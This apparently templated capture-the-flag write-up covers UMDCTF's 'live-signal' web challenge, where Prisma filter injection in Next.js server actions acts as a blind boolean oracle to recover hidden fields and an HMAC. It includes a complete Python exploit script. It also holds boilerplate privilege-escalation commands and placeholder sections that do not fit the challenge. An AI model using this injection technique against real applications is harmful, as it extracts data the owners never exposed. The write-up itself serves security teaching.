live-signal
live-signal
Platform: Umdctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: boolean_oracle_extraction, direct_server_action_invocation, prefix_bruteforce, prisma_filter_injection
Summary
Task: a Next.js app exposed server actions that accepted Prisma-style filters, letting attacker-controlled nested relation queries inspect hidden analyst signals. Solution: turn the injected filter into a boolean oracle, recover the unpublished signal fields and HMAC prefix-by-prefix, then submit them to the verification action for the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umdctf| ID:20260425_umdctf_live_signal - Tags: hmac, nextjs, filter_injection, server_actions, prisma, blind_oracle
- Indicators: a Next.js endpoint exposes callable server action identifiers, user-controlled filters are passed into Prisma-style where clauses, nested relation operators like signals.some are accepted, string operators such as startsWith work on hidden fields
- Source:
20260425_umdctf_live_signal.md
Foothold
Vulnerability / Misconfiguration
- Boolean_oracle_extraction
- Direct_server_action_invocation
- Prefix_bruteforce
- Prisma_filter_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- boolean_oracle_extraction
- direct_server_action_invocation
- prefix_bruteforce
- prisma_filter_injection
- Tags: hmac, nextjs, filter_injection, server_actions, prisma, blind_oracle
Original Writeup
<details><summary>Click to expand original content</summary>live-signal — UMDCTF
Description
Original organizer description was not available in the saved notes.
English summary: the application exposed two Next.js server actions. One leaked public signals and their HMACs, and the other checked whether we found a hidden insider signal. The bug was that the analyst handle filter was Prisma-style injectable, so nested relation predicates could be turned into a blind boolean oracle over unpublished data.
Analysis
Two action identifiers were reachable directly:
signalsByAnalyst:60a1ddfeb092ed787fb44362a27b61cff6e945d3d2verifyInsider:783c22fa5f432da054e7f973cb1a827a956078d769
Calling signalsByAnalyst returned public signals and their HMACs, which already showed how the application modeled analyst signal data. The more important issue was the handle filter: instead of being treated as a plain string, it behaved like a Prisma where object.
That meant queries such as nested signals.some.{ ... } were accepted. If a predicate matched at least one analyst row, the action response changed, giving a clean boolean oracle.
Using this oracle against analyst quant_sable, it was possible to confirm that a hidden future signal existed with:
publishedAt > 2026-04-25T00:00:00.000Z
Then the unpublished fields were extracted with repeated true/false probes:
ticker = KXELECTION-28NOVside = NOcontractPrice = 41
Finally, the same nested filter technique was used on the hidden signalHmac field with a prefix search:
signalHmac: { startsWith: prefix }
Recovering it nibble-by-nibble gave:
fc434bd5283de7356831a82e8838632c
At that point, verifyInsider could be called with the reconstructed tuple and returned the flag.
Solution
- Identify the exposed server actions.
- Invoke
signalsByAnalystdirectly instead of using the intended UI flow. - Confirm that the
handleparameter accepts Prisma-style objects rather than a plain string. - Use nested
signals.somepredicates as a boolean oracle on analystquant_sable. - Recover the unpublished signal fields one by one:
- future
publishedAt tickersidecontractPrice
- Recover the hidden HMAC with repeated
startsWithprobes. - Submit the recovered values to
verifyInsider:
["KXELECTION-28NOV","NO",41,"fc434bd5283de7356831a82e8838632c"]
- Read the flag from the response.
#!/usr/bin/env python3
import json
import string
import requests
BASE_URL = "https://TARGET"
SIGNALS_BY_ANALYST = "60a1ddfeb092ed787fb44362a27b61cff6e945d3d2"
VERIFY_INSIDER = "783c22fa5f432da054e7f973cb1a827a956078d769"
HEX = "0123456789abcdef"
session = requests.Session()
def post_action(action_id, args):
# Adjust the path/headers to match the deployed Next.js instance.
return session.post(
f"{BASE_URL}",
headers={
"Next-Action": action_id,
"Content-Type": "text/plain;charset=UTF-8",
},
data=json.dumps(args),
timeout=10,
)
def oracle(signal_filter):
payload = [
{
"handle": {
"equals": "quant_sable",
"analyst": {
"signals": {
"some": signal_filter,
}
},
}
}
]
r = post_action(SIGNALS_BY_ANALYST, payload)
text = r.text
return "quant_sable" in text or '"count":1' in text or '"signals":[' in text
def recover_hmac():
prefix = ""
while len(prefix) < 32:
for ch in HEX:
probe = {
"publishedAt": {"gt": "2026-04-25T00:00:00.000Z"},
"ticker": "KXELECTION-28NOV",
"side": "NO",
"contractPrice": 41,
"signalHmac": {"startsWith": prefix + ch},
}
if oracle(probe):
prefix += ch
print(prefix)
break
else:
raise RuntimeError("no matching nibble")
return prefix
if __name__ == "__main__":
assert oracle({"publishedAt": {"gt": "2026-04-25T00:00:00.000Z"}})
assert oracle({
"publishedAt": {"gt": "2026-04-25T00:00:00.000Z"},
"ticker": "KXELECTION-28NOV",
})
assert oracle({
"publishedAt": {"gt": "2026-04-25T00:00:00.000Z"},
"ticker": "KXELECTION-28NOV",
"side": "NO",
})
assert oracle({
"publishedAt": {"gt": "2026-04-25T00:00:00.000Z"},
"ticker": "KXELECTION-28NOV",
"side": "NO",
"contractPrice": 41,
})
hmac_value = recover_hmac()
body = ["KXELECTION-28NOV", "NO", 41, hmac_value]
resp = post_action(VERIFY_INSIDER, body)
print(resp.text)
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR